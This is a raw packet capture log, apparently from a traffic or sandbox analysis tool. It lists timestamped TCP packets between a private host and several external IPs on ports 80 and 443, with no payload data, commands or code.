Nov 20, 2024 00:19:19.240725994 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.240736961 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.240753889 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.240771055 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.240905046 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.243020058 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.243057013 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.243089914 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.243103027 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.243150949 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.243263960 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.243288040 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.243319988 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.243655920 CET	443	49772	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.243778944 CET	443	49772	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.243993998 CET	49772	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.243994951 CET	49772	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.243994951 CET	49772	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.244190931 CET	443	49773	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.244246006 CET	443	49773	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.244282961 CET	49773	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.244682074 CET	49773	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.244699001 CET	443	49773	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.244709969 CET	49773	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.244714022 CET	443	49773	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.244995117 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.245065928 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.245078087 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.245096922 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.245210886 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.245218039 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.245253086 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.245301008 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.245333910 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.245975018 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.245992899 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.245995045 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.245996952 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.246097088 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.250582933 CET	49779	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.250619888 CET	443	49779	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.250682116 CET	49779	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.251396894 CET	49780	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.251426935 CET	443	49780	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.251472950 CET	49780	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.251888037 CET	49779	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.251903057 CET	443	49779	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.252043962 CET	49780	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.252053022 CET	443	49780	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.256248951 CET	443	49775	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.256606102 CET	49775	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.256617069 CET	443	49775	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.257149935 CET	49775	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.257154942 CET	443	49775	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.260849953 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.260879040 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.260924101 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.261008024 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.261133909 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.261146069 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.261163950 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.261173964 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.261188030 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.261236906 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.261236906 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.261253119 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.261265993 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.261400938 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.261414051 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.261425018 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.261437893 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.261451960 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.261465073 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.261471987 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.261482000 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.261492014 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.261502981 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.261512041 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.261529922 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.261538982 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.261629105 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.261759996 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.261773109 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.261787891 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.261797905 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.261806965 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.261828899 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.282196045 CET	49774	443	192.168.2.6	20.109.210.53
Nov 20, 2024 00:19:19.298337936 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.298392057 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.298403978 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.298437119 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.298501015 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.298512936 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.298523903 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.298535109 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.298546076 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.298563004 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.299242020 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.299252987 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.299264908 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.299274921 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.299295902 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.299304008 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.299323082 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.299334049 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.299345970 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.299352884 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.299381018 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.300499916 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.300554037 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.300565004 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.300586939 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.300623894 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.300635099 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.300657034 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.300702095 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.300709009 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.300740957 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.300977945 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.301017046 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.301026106 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.301037073 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.301062107 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.301071882 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.301091909 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.301119089 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.301147938 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.301158905 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.301171064 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.301191092 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.301436901 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.301469088 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.301485062 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.301543951 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.301556110 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.301573992 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.301712990 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.301723957 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.301734924 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.301753044 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.301763058 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.301783085 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.301811934 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.301824093 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.301836014 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.301846981 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.301860094 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.301871061 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.301907063 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.301983118 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.301991940 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.302021027 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.302033901 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.302092075 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.302104950 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.302118063 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.302145004 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.302310944 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.302330017 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.302341938 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.302352905 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.302365065 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.302375078 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.302387953 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.302395105 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.302413940 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.302421093 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.302433014 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.302453995 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.302464962 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.302473068 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.302496910 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.302572966 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.302586079 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.302598000 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.302611113 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.302618980 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.302645922 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.302673101 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.302711964 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.302742958 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.302774906 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.302784920 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.302797079 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.302815914 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.302891016 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.302901030 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.302922964 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.302930117 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.302942038 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.302954912 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.302963018 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.302969933 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.302987099 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.330035925 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.330090046 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.330108881 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.330126047 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.330133915 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.330147982 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.330166101 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.330177069 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.330183029 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.330194950 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.330215931 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.334603071 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.334635019 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.334646940 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.334722996 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.334722996 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.334770918 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.334781885 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.334791899 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.334805012 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.334815025 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.334860086 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.335335970 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.335557938 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.335568905 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.335586071 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.335594893 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.335603952 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.335624933 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.335637093 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.335649967 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.335664034 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.352185011 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.352215052 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.352272987 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.352289915 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.352315903 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.352364063 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.352379084 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.352390051 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.352401972 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.352416039 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.352432013 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.352457047 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.352603912 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.352615118 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.352629900 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.352642059 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.352649927 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.352682114 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.352897882 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.352907896 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.352941990 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.353298903 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.353305101 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.353315115 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.353339911 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.353363037 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.353363037 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.353372097 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.353383064 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.353389978 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.353440046 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.369616985 CET	443	49775	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.369684935 CET	443	49775	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.369816065 CET	49775	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.369977951 CET	49775	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.369992018 CET	443	49775	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.370002985 CET	49775	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.370007992 CET	443	49775	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.373317957 CET	49781	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.373358965 CET	443	49781	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.373632908 CET	49781	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.374531031 CET	49781	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.374547958 CET	443	49781	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.379909039 CET	49774	443	192.168.2.6	20.109.210.53
Nov 20, 2024 00:19:19.423340082 CET	443	49774	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:19.449717999 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.455460072 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.455553055 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.455564976 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.455576897 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.455599070 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.455621958 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.458163023 CET	443	49776	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.458664894 CET	49776	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.458697081 CET	443	49776	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.459305048 CET	49776	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.459310055 CET	443	49776	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.463602066 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.469347000 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.469360113 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.469372034 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.469393969 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.469429970 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.469439983 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.469451904 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.469461918 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.469484091 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.469667912 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.469683886 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.469691038 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.469696999 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.469697952 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.469702959 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.469733000 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.469763041 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.470026016 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.470077991 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.470089912 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.470099926 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.470112085 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.470120907 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.470134020 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.470139980 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.470149040 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.470160007 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.470170021 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.470190048 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.470197916 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.470211983 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.470221996 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.470228910 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.470241070 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.470257998 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.470336914 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.470346928 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.470356941 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.470379114 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.470402002 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.470453978 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.470463991 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.470474958 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.470499039 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.470649958 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.470666885 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.470676899 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.470685959 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.470695972 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.470706940 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.470716953 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.470731974 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.470733881 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.470736980 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.470745087 CET	49765	80	192.168.2.6	185.215.113.16
